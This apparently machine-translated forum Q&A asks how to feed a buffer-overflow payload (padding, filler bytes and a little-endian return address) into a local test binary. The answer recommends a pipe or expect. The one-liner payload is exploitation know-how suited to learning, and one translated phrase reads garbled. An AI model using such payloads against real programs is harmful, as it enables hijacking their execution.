我有一个命令行程序./a.out,它要求我输入如下所示的内容:
$ ./a.out
Adress is 0x8048508
Please input a choice:
我想输入
python -c 'print "A"*56 + "BBBB" + "\x08\x85\x04\x08"'
尽管使用了pip(这里不能使用因为地址是动态的)。 我该怎么办?
非常感谢任何想法或想法。
答案 0 :(得分:0)
如果程序只是从标准输入读取,则python -c 'print "A"*56 + "BBBB" + "\x08\x85\x04\x08"' | ./a.out
应该有效。
如果它正在从终端读取,则不会,您将不得不伪造一个交互式会话(使用expect之类的东西来注入您想要的输入。